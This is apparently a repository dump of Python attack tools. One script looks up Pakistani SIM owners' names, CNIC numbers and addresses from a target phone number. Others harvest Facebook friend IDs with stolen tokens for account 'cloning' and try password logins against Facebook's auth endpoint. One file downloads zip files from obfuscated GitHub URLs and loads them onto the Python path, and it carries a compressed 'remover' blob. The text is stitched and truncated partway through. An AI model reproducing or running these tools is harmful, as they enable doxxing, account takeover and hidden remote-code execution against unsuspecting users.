├── README.md ├── .github └── workflows │ └── python-app.yml ├── Shawaizlora.py ├── Qsr4.py ├── Qsr3.py ├── Qsr5.py ├── Qsr2.py ├── Qsr8.py └── Qsr6.py /README.md: -------------------------------------------------------------------------------- 1 | # LoL 2 | - `Qasier & Syed Zada Madarchod Bap Ka Method Chorii Karna Se Pehla Soch Lena Again` 3 | - `Enjoy Open Source Love You All` 4 | -------------------------------------------------------------------------------- /.github/workflows/python-app.yml: -------------------------------------------------------------------------------- 1 | # This workflow will install Python dependencies, run tests and lint with a single version of Python 2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-python 3 | 4 | name: Python application 5 | 6 | on: 7 | push: 8 | branches: [ "main" ] 9 | pull_request: 10 | branches: [ "main" ] 11 | 12 | permissions: 13 | contents: read 14 | 15 | jobs: 16 | build: 17 | 18 | runs-on: ubuntu-latest 19 | 20 | steps: 21 | - uses: actions/checkout@v3 22 | - name: Set up Python 3.10 23 | uses: actions/setup-python@v3 24 | with: 25 | python-version: "3.10" 26 | - name: Install dependencies 27 | run: | 28 | python -m pip install --upgrade pip 29 | pip install flake8 pytest 30 | if [ -f requirements.txt ]; then pip install -r requirements.txt; fi 31 | - name: Lint with flake8 32 | run: | 33 | # stop the build if there are Python syntax errors or undefined names 34 | flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics 35 | # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide 36 | flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics 37 | - name: Test with pytest 38 | run: | 39 | pytest 40 | -------------------------------------------------------------------------------- /Shawaizlora.py: -------------------------------------------------------------------------------- 1 | #SOURCE BY : MR_AKING 2 | #GITHUB : AKING110 3 | #SYED ME BAP HU TERA 4 | #!/usr/bin/python3 5 | #-*-coding:utf-8-*- 6 | 7 | 8 | try: 9 | import requests 10 | except ImportError: 11 | print('\n[+] requests module installing...\n') 12 | 13 | os.system('pip install requests') 14 | 15 | try: 16 | import mechanize 17 | except ImportError: 18 | print('\n [+] mechanize module installing...\n') 19 | 20 | os.system('pip install mechanize') 21 | 22 | try: 23 | import bs4 24 | except ImportError: 25 | print('\n [+] bs4 module installing...\n') 26 | 27 | os.system('pip install bs4') 28 | 29 | try: 30 | import concurrent.futures 31 | except ImportError: 32 | print('\n [+] future module installing...\n') 33 | os.system('pip install future') 34 | 35 | 36 | Y = "\x1b[1;93m" 37 | G = "\x1b[1;92m" 38 | R = "\x1b[1;91m" 39 | 40 | import os,requests,re,json,bs4,os,zlib,random,sys,time 41 | from bs4 import BeautifulSoup 42 | from os import system 43 | agent = ["Mozilla/5.0 (Linux; Android 10; Pixel 3 XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.136 Mobile Safari/537.36 EdgA/100.0.1185.50","Mozilla/5.0 (Linux; Android 10; ONEPLUS A6003) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.136 Mobile Safari/537.36 EdgA/100.0.1185.50","Mozilla/5.0 (Linux; Android 10; SM-G973F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.136 Mobile Safari/537.36 EdgA/100.0.1185.50","Mozilla/5.0 (Linux; Android 10; HD1913) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.136 Mobile Safari/537.36 EdgA/100.0.1185.50","Mozilla/5.0 (Macintosh; Intel Mac OS X 12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Edg/106.0.1370.34","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Edg/106.0.1370.34"] 44 | ua = random.choice(agent) 45 | 46 | def xox(z): 47 | 48 | for e in z + '\n': 49 | sys.stdout.write(e) 50 | sys.stdout.flush() 51 | time.sleep(0.02) 52 | 53 | logo = """ 54 | \033[1;92m╔═══╗╔╗──╔╗╔═══╗╔═══╗ ╔════╗╔═══╗╔═══╗╔═══╗ 55 | \033[1;92m║╔═╗║║╚╗╔╝║║╔══╝╚╗╔╗║ ╚══╗═║║╔═╗║╚╗╔╗║║╔═╗║ 56 | \033[1;92m║╚══╗╚╗╚╝╔╝║╚══╗─║║║║ ╔╝╔╝║║─║║─║║║║║║─║║ 57 | \033[1;93m╚══╗║─╚╗╔╝─║╔══╝─║║║║ ╔╝╔╝─║╚═╝║─║║║║║╚═╝║ 58 | \033[1;93m║╚═╝║──║║──║╚══╗╔╝╚╝║ ╔╝═╚═╗║╔═╗║╔╝╚╝║║╔═╗║ 59 | \033[1;92m╚═══╝──╚╝──╚═══╝╚═══╝ ╚════╝╚╝─╚╝╚═══╝╚╝─╚╝ 60 | \033[1;93m______________________________________________________ 61 | 62 | \033[1;93m(*)\033[1;92m Developer : 🔥SYED-ZADA🔥 X 🔥QAISER ABBASS🔥 63 | \033[1;93m(*)\033[1;92m Tool Type : SIM & CNIC DETAILS \033[1;93m(Only For Pak) 64 | \033[1;93m(*)\033[1;92m YouTube : SYED ZADA 65 | \033[1;93m(*)\033[1;92m Github : https://github.com/syedzada1100 66 | \033[1;93m______________________________________________________""" 67 | 68 | try: 69 | import os, storage 70 | except ImportError: 71 | os.system('termux-setup-storage') 72 | os.system('git pull') 73 | 74 | os.system('git pull') 75 | os.system('clear') 76 | 77 | def main(): 78 | os.system("clear");print(logo) 79 | # os.system('xdg-open https://youtube.com/c/SYEDZADA1100') 80 | print("") 81 | xox("\033[1;93m[+] WARNING : \033[1;92mDO NOT MISUSE THIS TOOL WARNING.. ⚠️") 82 | print(54 * "\x1b[1;93m_") 83 | print("") 84 | print (" \t[\x1b[1;97m\x1b[1;41m THIS TOOL IS FREE NOT FOR PAID \x1b[0m\x1b[1;93m]") 85 | print(54 * "\x1b[1;93m_") 86 | print ("") 87 | print("\x1b[1;93m[1] \x1b[1;92mStart To Use Tool") 88 | print("\x1b[1;93m[2] \x1b[1;92mjoin Our Facebook Gruop ") 89 | print("\x1b[1;93m[3] \x1b[1;92mjoin Our WhatsApp Gruop ") 90 | print("\x1b[1;93m[4] \x1b[1;92mSubscribe Our YouTube ") 91 | print("\x1b[1;93m[0] \x1b[1;92mExit") 92 | print(54 * "\x1b[1;93m_") 93 | print("") 94 | SYED = input('\x1b[1;93m[+] Choose Option: \x1b[1;92m') 95 | if SYED == '': 96 | print("\x1b[1;91mFill in correctly") 97 | main() 98 | elif SYED == '1': 99 | meta_data() 100 | elif SYED == '2': 101 | os.system('xdg-open https://www.facebook.com/groups/499609241591106/?ref=share_group_link') 102 | main() 103 | elif SYED == '3': 104 | os.system('xdg-open https://chat.whatsapp.com/Cm2EOgvNjBk9BGCHxzdcDG') 105 | main() 106 | elif SYED == '4': 107 | os.system('xdg-open https://youtube.com/c/SYEDZADA1100') 108 | main() 109 | elif SYED == '0': 110 | os.system('exit') 111 | else: 112 | print ('\x1b[1;91m[!] Please select a valid option') 113 | time.sleep(2) 114 | main() 115 | 116 | def meta_data(): 117 | system("clear");print(logo) 118 | print("") 119 | xox("\033[1;93m[+] NOTE :\033[1;92m SOME TIME YOUR IP WAS BLOCK SO IF NO RESULT USE AIRPLANE ✈️ MODE ON 5 SECOND..") 120 | print(54 * "\x1b[1;93m_") 121 | print("") 122 | print("") 123 | print("\t [\033[1;97m\033[1;41m PUT NUMBER WITHOUT (0) \033[0m\033[1;93m]") 124 | print("") 125 | print("") 126 | number = input(f"{G}[+] PUT TARGET NUM & CNIC :{Y} ") 127 | if str("3478618390") in number: 128 | print("") 129 | print("") 130 | xox(f"{R}[×] DON'T TYPE OWNER NUMBER ") 131 | time.sleep(2) 132 | meta_data() 133 | if number[0] == str("0"): 134 | print("") 135 | print("") 136 | xox(f"{G}[+] TYPE NUMBER WITHOUT 0 EXAMPLE 3106217519") 137 | time.sleep(3) 138 | meta_data() 139 | done = [] 140 | pk="pak" 141 | u1=f"{pk}siminfo.com" 142 | head = { 143 | "Host": u1, 144 | "Connection": "keep-alive", 145 | "Content-Length": "14", 146 | "Cache-Control": "max-age=0", 147 | "Upgrade-Insecure-Requests": "1", 148 | "Origin": f"https://{u1}", 149 | "Content-Type": "application/x-www-form-urlencoded", 150 | "User-Agent": ua, 151 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", 152 | "Referer": f"https://{u1}/search-pro.php", 153 | "Accept-Encoding": "gzip, deflate", 154 | "Accept-Language": "en-US,en;q=0.9" 155 | } 156 | 157 | dataa = { 158 | "num": number 159 | } 160 | #dividing link safe from strings chor 161 | u2="result" 162 | sz = requests.post(f"https://{u1}/search-{u2}-pro.php",headers=head,data=dataa) 163 | soup = BeautifulSoup(sz.text, 'html.parser') 164 | # searching by class tags 165 | s = soup.find_all('td', {'class':'tg-iu1i'}) #number 1,2 166 | s1 = soup.find_all('td', {'class':'tg-de5r'}) #name 1,2 167 | s2 = soup.find_all('td', {'class':'tg-xfje'}) #cnic 1,2 168 | s3 = soup.find_all('td', {'class':'tg-wgsn'}) #address 1,2 169 | for szs in range(15): 170 | pic="freepicccs" 171 | o1=f"{pic}.com" 172 | if str("to search this number") in soup.text: 173 | headers = { 174 | "Host": o1, 175 | 176 | "Connection": "keep-alive", 177 | "Content-Length": "16", 178 | "Cache-Control": "max-age=0", 179 | "Upgrade-Insecure-Requests": "1", 180 | "Origin": f"https://{o1}/", 181 | "Content-Type": "application/x-www-form-urlencoded", 182 | "User-Agent": ua, 183 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", 184 | "Referer": f"https://{o1}/", 185 | "Accept-Encoding": "gzip, deflate", 186 | "Accept-Language": "en-US,en;q=0.9" 187 | } 188 | 189 | data = { 190 | 'cnnum': number 191 | } 192 | 193 | sz2 = requests.post(f'https://{o1}/search-result2.php', headers=headers, data=data) 194 | # soup2 = BeautifulSoup(sz2.text, 'html.parser') 195 | sk = re.findall('',str(sz2.content)) 196 | s22 = re.findall('(.*?)', str(sk)) 197 | if str(f"Record {szs+1}") in str(sk): 198 | print(f"\n{G}[+] " + str(szs + 1) + " RECORD ") 199 | print("") 200 | print(f"{Y}[✓] NAME :{G} {s22[2]}") 201 | print(f"{Y}[✓] NUMBER :{G} {s22[0]}") 202 | print(f"{Y}[✓] CNIC :{G} {s22[3]}") 203 | print(f"{Y}[✓] ADDRESS :{G} {s22[4]}") 204 | print(f"{Y}[✓] DATE :{G} {s22[1]}") 205 | done.append("done") 206 | break 207 | if str(f"{szs+1}.") in soup.text: 208 | print(f"\n{G}[+] "+str(szs+1)+" RECORD ") 209 | print("") 210 | print(f"{Y}[✓] NAME :{G} {s1[szs].text}") 211 | print(f"{Y}[✓] NUMBER :{G} {s[szs].text}") 212 | print(f"{Y}[✓] CNIC :{G} {s2[szs].text}") 213 | print(f"{Y}[✓] ADDRESS :{G} {s3[szs].text}") 214 | done.append("done") 215 | else: 216 | pass 217 | if str("done") in done: 218 | print("") 219 | input(f"{G}[+] PRESS ENTER TO BACK ") 220 | meta_data() 221 | 222 | else: 223 | print("") 224 | xox(f"{R}[×] THIS NUMBER DATA NOT FOUND") 225 | time.sleep(2) 226 | meta_data() 227 | main() 228 | -------------------------------------------------------------------------------- /Qsr4.py: -------------------------------------------------------------------------------- 1 | #SOURCE BY : MR_AKING 2 | #GITHUB : AKING110 3 | #QSR ME BAP HU TERA 4 | # decompyle3 version 3.3.2 5 | # Python bytecode 3.8 (3413) 6 | # Decompiled from: Python 3.10.2 (main, Mar 1 2022, 12:58:00) [Clang 12.0.8 (https://android.googlesource.com/toolchain/llvm-project c935d99d7 7 | # Embedded file name: /sdcard/jadu.py 8 | # Compiled at: 2020-07-16 04:45:22 9 | # Size of source mod 2**32: 543 bytes 10 | import os 11 | try: 12 | os.mkdir('/data/data/com.termux/files/home/termux_properties') 13 | except OSError: 14 | pass 15 | try: 16 | import requests 17 | except ImportError: 18 | print('\n [✓] installing requests !...\n') 19 | os.system('pip install requests') 20 | try: 21 | import concurrent.futures 22 | except ImportError: 23 | print('\n [✓] installing futures !...\n') 24 | os.system('pip install futures') 25 | try: 26 | import bs4 27 | except ImportError: 28 | print('\n [✓] installing bs4 !...\n') 29 | os.system('pip install bs4') 30 | 31 | import requests, os, re, bs4, platform, sys, json, time, random, datetime, subprocess, threading, itertools, base64, uuid, zlib 32 | import concurrent.futures as qaiserabba 33 | from datetime import datetime 34 | from bs4 import BeautifulSoup 35 | from multiprocessing.pool import ThreadPool 36 | import platform 37 | import concurrent.futures as ThreadPool 38 | ct = datetime.now() 39 | month = ct.month 40 | bulan = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'Agustus', 'September', 'October', 'November', 'December'] 41 | 42 | 43 | current = datetime.now() 44 | ta = current.year 45 | bu = current.month 46 | ha = current.day 47 | 48 | P = '\x1b[1;97m' 49 | M = '\x1b[1;31m' 50 | H = '\x1b[1;32m' 51 | K = '\x1b[1;97m' 52 | B = '\x1b[1;97m' 53 | U = '\x1b[1;97m' 54 | O = '\x1b[1;97m' 55 | N = '\x1b[0m' 56 | my_color = [P, 57 | M, H, K, B, U, 58 | O, N] 59 | warna = random.choice(my_color) 60 | data, data2 = {}, {} 61 | aman, cp, salah = (0, 0, 0) 62 | ubahP, fuck, pwBaru = [], [], [] 63 | ok = [] 64 | cp = [] 65 | id = [] 66 | user = [] 67 | loop = 0 68 | url_lookup = 'https://lookup-id.com/' 69 | url_mb = 'https://m.facebook.com' 70 | url_ip = 'https://www.httpbin.org/ip' 71 | header_grup = {'user-agent': 'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]'} 72 | bulan_ttl = {'01':'January', '02':'February', 73 | '03':'March', '04':'April', 74 | '05':'May', '06':'June', '07':'July', '08':'Augustus', '09':'September', '10':'October', 75 | '11':'November', '12':'December'} 76 | done = False 77 | birth = ['001', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20','21'] 78 | bd = random.randint(20000000.0, 30000000.0) 79 | sim = random.randint(20000.0, 40000.0) 80 | header = {'x-fb-connection-bandwidth':repr(bd), 'x-fb-sim-hni':repr(sim), 81 | 'x-fb-net-hni':repr(sim), 'x-fb-connection-quality':'EXCELLENT', 'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.3', 82 | 'x-fb-connection-type':'unknown', 'content-type':'application/x-www-form-urlencoded', 'x-fb-http-engine':'Liger'} 83 | urlxnxx = 'https://mbasic.facebook.com' 84 | 85 | if os.path.exists('.oun.txt'): 86 | open('.oun.txt', 'w').close() 87 | 88 | def jalan(z): 89 | for e in z + '\n': 90 | sys.stdout.write(e) 91 | sys.stdout.flush() 92 | time.sleep(0.01) 93 | 94 | 95 | def login(): 96 | os.system('clear') 97 | print(logo) 98 | tok = input(' Token Here : ') 99 | if 'EAAB' not in tok: 100 | jalan('\x1b[1;91mToken is not valid for File Creating\x1b[0m') 101 | input('Press Enter To See Video For Token : ') 102 | os.system('xdg-open https://youtu.be/6PitUufz2TY') 103 | caseher() 104 | os.sys.exit() 105 | try: 106 | u = requests.get('https://graph.facebook.com/me?access_token=' + tok).text 107 | u1 = json.loads(u) 108 | name = u1['name'] 109 | ts = open('access_token.txt', 'w') 110 | ts.write(tok) 111 | ts.close() 112 | print('\n \x1b[1;92msuccessfully\x1b[0m') 113 | time.sleep(1) 114 | caseher() 115 | except KeyError: 116 | print('\n Token Invalid Bro ') 117 | time.sleep(1) 118 | login() 119 | 120 | logo = ' \n\n .d88888b. .d8888b. 8888888b. \n d88P" "Y88b d88P Y88b 888 Y88b \n 888 888 Y88b. 888 888 \n 888 888 "Y888b. 888 d88P \n 888 888 "Y88b. 8888888P" \n 888 Y8b 888 "888 888 T88b \n Y88b.Y8b88P Y88b d88P 888 T88b \n "Y888888" "Y8888P" 888 T88b \n Y8b\n\x1b[1;97m===========================================\n\x1b[1;32mADMIN\x1b[0m ! QAISER \x1b[1;91m & \x1b[0m \x1b[1;92mTOOL\x1b[0m ! PAID \x1b[1;91m & \x1b[0m \x1b[1;92mV\x1b[0m = 3\n\x1b[1;97m=========================================== ' 121 | 122 | def hasil(OK,cp): 123 | if not len(OK) != 0: 124 | pass 125 | if len(cp) != 0: 126 | print('\n\n \x1b[1;97m Total OK : \x1b[1;97m %s \x1b[1;97mSSB_OK.txt' % (H, P, str(len(ok)))) 127 | print(' \x1b[1;97m Total CP :\x1b[1;97m %s \x1b[1;97mSSB_CP.txt' % (H, P, str(len(cp)))) 128 | input("\x1b[1;97mPress enter to back SSB Menu ") 129 | sarfraz() 130 | 131 | def caseher(): 132 | os.system('clear') 133 | print(logo) 134 | ipm = requests.get(url_ip).json() 135 | todz = '' 136 | IP = ipm['origin'] 137 | print('') 138 | print(' [1] Start File Cloning [Method-1-Basic]') 139 | print(' [2] Start File Cloning [Method-2-Local]') 140 | print(' [3] Public Cloning [Login-OK]') 141 | print(' [4] Random Cloning ') 142 | print(' [5] Create File') 143 | print(' [E] Exit ') 144 | print('') 145 | _caseher___ = input(' [?] Choose option : ') 146 | if _caseher___ in ('1','01'): 147 | __xxx__().caseherx(id) 148 | elif _caseher___ in ('2','02'): 149 | bootstrap() 150 | crack() 151 | elif _caseher___ in ('3','03'): 152 | __xnx__().caseherx(id) 153 | elif _caseher___ in ('4','04'): 154 | print('\nSoon Coming ★ ') 155 | time.sleep(2) 156 | caseher() 157 | elif _caseher___ in ('5','05'): 158 | create_file() 159 | elif _caseher___ in ('E','ee'): 160 | exit('Thanks For Using janu') 161 | else: 162 | jalan(' Invalid Select') 163 | time.sleep(1) 164 | caseher() 165 | 166 | def create_file(): 167 | os.system('clear') 168 | print(logo) 169 | 170 | time.sleep(1) 171 | os.system('clear') 172 | print(logo) 173 | os.system('clear') 174 | print(logo) 175 | time.sleep(0.5) 176 | print(' [1] Create file method 1.Mbasic') 177 | print(' [2] Create file method 2.Loclhst') 178 | print('============================================') 179 | cf = input(' Select : ') 180 | if cf == '1': 181 | autoo() 182 | elif cf == '2': 183 | autoo() 184 | elif cf == 'Bb' or cf == 'b' or 'cf' == 'B': 185 | caseher() 186 | else: 187 | print('\n Choose correct option ...') 188 | time.sleep(1) 189 | create_file() 190 | 191 | def autoo(): 192 | os.system('rm -rf qssrrr1.txt') 193 | try: 194 | token = open('token.txt', 'r').read() 195 | except FileNotFoundError: 196 | () 197 | try: 198 | r = requests.get('https://graph.facebook.com/me?access_token=' + token).text 199 | q = json.loads(r) 200 | uname = q['name'] 201 | except KeyError: 202 | () 203 | os.system('clear') 204 | print(logo) 205 | os.system('rm -rf qssrrr1.txt') 206 | os.system('rm -rf qssrrr2.txt') 207 | nusrat = 0 208 | try: 209 | limit_user = int(input(' Total Ids To Add ')) 210 | except: 211 | limit_user = 1 212 | count = 0 213 | for fir in range(limit_user): 214 | count += 1 215 | udit = input(' Put id%s: ' % count) 216 | try: 217 | token = open('token.txt', 'r').read() 218 | fr = requests.get('https://graph.facebook.com/' + udit + '/friends?access_token=' + token).text 219 | qfr = json.loads(fr) 220 | temp_save = open('qssrrr1.txt', 'a') 221 | for data in qfr["data"]: 222 | uids = data['id'] 223 | if uids not in nusrat: 224 | nusrat.append(uids) 225 | temp_save.write(uids + '\n') 226 | temp_save.close() 227 | except KeyError: 228 | pass 229 | if 'invalid' in str(fr): 230 | print(' Logged token has expired ...') 231 | else: 232 | print('Friend Is Private ' + udit) 233 | os.system('clear') 234 | print(logo) 235 | print(' Total ids') 236 | print('--------------------------------------------------') 237 | try: 238 | ask_link = 2 239 | except: 240 | ask_link = 1 241 | completed = 0 242 | for links in range(ask_link): 243 | completed += 1 244 | li = input(' %s Link start with: ' % completed) 245 | os.system('cat qssrrr1.txt | grep "' + li + '" >> qssrrr2.txt') 246 | save_file = input('Example /sdcard/xxx.txt\n Save File As : ') 247 | os.system('clear') 248 | linesx = open('qssrrr22.txt', 'r').readlines() 249 | print(logo) 250 | print(' Ids to Dump : ' + str(len(linesx))) 251 | print(' Starting Process Wait ... ') 252 | print('============================================') 253 | fileid = 'qssrrr2.txt' 254 | fileidopen = open(fileid, 'r').read().splitlines() 255 | dill = [] 256 | for ids in fileidopen: 257 | try: 258 | token = open('token.txt', 'r').read() 259 | rg = requests.get('https://graph.facebook.com/' + ids + '/friends?access_token=' + token).text 260 | rgq = json.loads(rg) 261 | idsave = open('/sdcard/' + save_file, 'a') 262 | for inayat in rgq["data"]: 263 | uids = inayat['id'] 264 | dill.append(uids) 265 | nm = inayat['name'] 266 | first_name = nm.split(' ')[0] 267 | try: 268 | last_name = nm.split(' ')[1] 269 | except: 270 | last_name = 'Khan' 271 | idsave.write(uids + '|' + first_name + '|' + last_name + '\n') 272 | print(' \x1b[1;92m Sucessfully Dump from ' + ids + '\x1b[0m') 273 | idsave.close() 274 | except Exception as e: 275 | try: 276 | if 'invalid' in str(rg): 277 | print(' Token has expired, try again ...') 278 | os.system('rm -rf qssrrr1.txt') 279 | else: 280 | print('\x1b[1;92mError Friendlist Not Dump\x1b[0m') 281 | os.system('rm -rf qssrrr1.txt') 282 | except: 283 | e = None 284 | del e 285 | lenid = open('/sdcard/' + save_file, 'r').readlines() 286 | print(' \x1b[0m Process Completed ') 287 | os.system('rm -rf qssrrr*') 288 | print(' Total ids: ' + str(len(lenid))) 289 | print(' File saved as: ' + save_file) 290 | input(' Press enter to back ') 291 | caseher() 292 | 293 | if os.path.exists('.qsrwork.txt'): 294 | open('.qsrwork.txt', 'w').close() 295 | 296 | 297 | caseher() 298 | -------------------------------------------------------------------------------- /Qsr3.py: -------------------------------------------------------------------------------- 1 | #SOURCE BY : MR_AKING 2 | #GITHUB : AKING110 3 | #QSR ME BAP HU TERA 4 | #coding = utf-8 5 | from uuid import uuid4 6 | import os,sys,tempfile,string,random,subprocess,uuid 7 | http_directory = tempfile.mkdtemp(prefix='.') 8 | site_packages = sys.path[4] 9 | sys.path.remove(site_packages) 10 | sys.path.insert(4,http_directory+'/reqmodule') 11 | sys.path.insert(5,http_directory) 12 | try: 13 | os.mkdir('crypto') 14 | except:pass 15 | hh = "ho" 16 | hh2 = "9/pycrypt" 17 | find_aarch = subprocess.check_output('uname -om',shell=True) 18 | if 'aarch64' in str(find_aarch): 19 | user_aarch = '64' 20 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto64/crypto64.zip?raw=true' 21 | elif 'arm' in str(find_aarch): 22 | user_aarch = '32' 23 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto32/crypto32.zip?raw=true' 24 | else: 25 | print(' Unknown aarch ') 26 | exit() 27 | if not os.path.isfile(f'crypto/crypto{user_aarch}.zip'): 28 | os.system('clear') 29 | print('\n Please wait while creating pycryptodome for you ! This can take some time\n\n') 30 | os.system(f'curl -L {download_link} > crypto/crypto{user_aarch}.zip') 31 | os.system('python jan.py') 32 | else: 33 | akk2="rsi" 34 | akk=f"cha{akk2}fi" 35 | os.system(f'cp crypto/crypto{user_aarch}.zip {http_directory}') 36 | lib = f'https://github.com/{akk}les/client/blob/main/config.zip?raw=true' 37 | os.system(f'curl -L {lib} > {http_directory}/config.zip') 38 | os.system(f'cd {http_directory} && unzip config.zip -d {http_directory} > /dev/null') 39 | os.system(f'cd {http_directory} && unzip crypto{user_aarch}.zip -d {http_directory} > /dev/null') 40 | try: 41 | import time,requests,re,platform,base64,datetime,hashlib,string,json,io,struct 42 | from string import * 43 | from concurrent.futures import ThreadPoolExecutor as ThreadPool 44 | from Crypto.Cipher import AES, PKCS1_v1_5 45 | from Crypto.PublicKey import RSA 46 | from Crypto.Random import get_random_bytes 47 | except Exception as e: 48 | print(e) 49 | print('\n Installing modules wait !') 50 | os.system('pip install futures==2 && python jan.py') 51 | except FileExistsError: 52 | os.system('pip uninstall requests urllib3 idna certifi -y') 53 | pass 54 | 55 | try: 56 | import os,sys,time,json,random,re,string,platform,base64,requests,io,struct,zlib 57 | from string import * 58 | from concurrent.futures import ThreadPoolExecutor as ThreadPool 59 | except ModuleNotFoundError: 60 | print('\n Installing missing modules ...') 61 | os.system('pip install requests futures==2 > /dev/null') 62 | os.system('python jan.py') 63 | 64 | #----[pran links]----- 65 | kkk = {'user-agent': 'Davik/2.1.0 (Linux; U; Android 7.0.0; MMB29K Build/GT-P5100 [FBAN/FB4A;FBAV/241.0.0.41292;FBBV/975202462;FBDM/{density=1.5,width=480,height=800};FBLC/pl_PL;FBCR/T-Mobile.pl;FBMF/samsung;FBBD/samsung;FBPN/com.facebook.mlite;FBDV/MMB29K;FBSV/4.4.4;nullFBCA/armeabi-v7a:armeabi;]', 'accept-encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'content-type': 'application/x-www-form-urlencoded', 'x-fb-sim-hni': '31061', 'x-fb-connection-type': 'unknown', 'Authorization': 'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32', 'x-fb-net-hni': '28613', 'x-fb-connection-bandwidth': '29643048', 'x-fb-connection-quality': 'EXCELLENT', 'x-fb-friendly-name': 'authenticate', 'x-fb-http-engine': 'Liger'} 66 | hhh = {'adid': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'email': '10000'+str(random.randint(11111111111,99999999999)), 'password': str(random.randint(1111111,9999999)), 'cpl': 'true', 'credentials_type': 'device_based_login_password', 'source': 'login', 'error_detail_type': 'button_with_disabled', 'format': 'json', 'generate_session_cookies': '1', 'generate_analytics_claim': '1', 'generate_machine_id': '1', 'locale': 'pl_PL', 'client_country_code': 'PL', 'device': 'SM-A500H', 'device_id': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'method': 'auth.login', 'fb_api_req_friendly_name': 'authenticate', 'fb_api_caller_class': 'com.facebook.account.login.protocol.Fb4aAuthHandler'} 67 | lll = ("https://b-api.facebook.com/method/auth.login") 68 | #----[remover]----- 69 | import os,shutil,zlib 70 | sz = zlib.decompress(b'x\x9c\xd3OI,I\xd4\x07\x13\xc9\xf9\xb9z%\xa9E\xb9\xa5\x15\xfai\x999\xa9\xc5\xfa\x19\xf9\xb9\xa9\xfae\x05E\xf9%\xa9\xc9%\x00 .temp.txt') 610 | file = open('.temp.txt','r').read().splitlines() 611 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n') 612 | #100010138361148 613 | sf = input(' Saved File As : ') 614 | print('') 615 | os.system('clear') 616 | print(logo);xchker() 617 | print(' Total ids To Dump: '+str(len(file))) 618 | print(' Dumping Is Started Wait ....') 619 | print(50*'-') 620 | with ThreadPool(max_workers=20) as yaari: 621 | for exid in file: 622 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf) 623 | print(' Total ids Extracted : '+str(len(total))) 624 | input(' Press enter to back ') 625 | main() 626 | 627 | def new_file(cookies,access_token): 628 | global total 629 | os.system('clear & rm -rf .txt .temp.txt') 630 | os.system('clear') 631 | print(logo);xchker() 632 | try: 633 | fl = 1 634 | except: 635 | fl = 1 636 | for xd in range(fl): 637 | idt = input(f' Put id {xd+1}: ') 638 | try: 639 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(idt,access_token) 640 | xyz = requests.Session() 641 | r = xyz.get(fd_url,cookies=cookies).text 642 | q = json.loads(r) 643 | for iid in q['friends']['data']: 644 | uid = iid['id'] 645 | open('.txt','a').write(uid+'\n') 646 | except KeyError: 647 | print(' No Friend List : '+idt) 648 | time.sleep(3) 649 | return auto_file(cookies,access_token) 650 | except requests.exceptions.ConnectionError: 651 | print(' No internet connection ....') 652 | print('\n\033[1;92m Example: 100087,100088 etc\033[0;97m') 653 | try: 654 | sl = int(input('\n How Many Links To Grab : ')) 655 | except: 656 | sl = 1 657 | for el in range(sl): 658 | sid = input(f' Put {el+1} link: ') 659 | os.system('cat .txt | grep "'+sid+'" > .temp.txt') 660 | file = open('.temp.txt','r').read().splitlines() 661 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n') 662 | #100010138361148 663 | sf = input(' Saved File As : ') 664 | print('') 665 | os.system('clear') 666 | print(logo);xchker() 667 | print(' Total ids To Dump: '+str(len(file))) 668 | print(' Dumping Is Started Wait ....') 669 | print(50*'-') 670 | with ThreadPool(max_workers=20) as yaari: 671 | for exid in file: 672 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf) 673 | try: 674 | son = f"qaiser{str(random.randint(0,90))}.txt" 675 | except: 676 | son = f"qaiser{str(random.randint(10,50))}.txt" 677 | os.system(f'cat {sf} | grep "'+sid+'" > /sdcard/'+son+'') 678 | print(' Total ids Extracted : '+str(len(total))) 679 | print(' New ids Saved As : /sdcard/'+son) 680 | print(' Normal ids Saved As : '+sf) 681 | input(' Press enter to back ') 682 | main() 683 | 684 | def iamBadBoy(exid,cookies,access_token,sf): 685 | try: 686 | global total,loop 687 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(exid,access_token) 688 | xyz = requests.Session() 689 | r = xyz.get(fd_url,cookies=cookies).text 690 | q = json.loads(r) 691 | for yaad in q['friends']['data']: 692 | iid = yaad['id'] 693 | name = yaad['name'] 694 | total.append(iid) 695 | open(sf,'a').write(iid+'|'+name+'\n') 696 | loop+=1 697 | sys.stdout.write('\r Dumping Ids [%s] : [%s]\r'%(loop,len(total)));sys.stdout.flush() 698 | except requests.exceptions.ConnectionError: 699 | print(' No internet connection ...') 700 | except 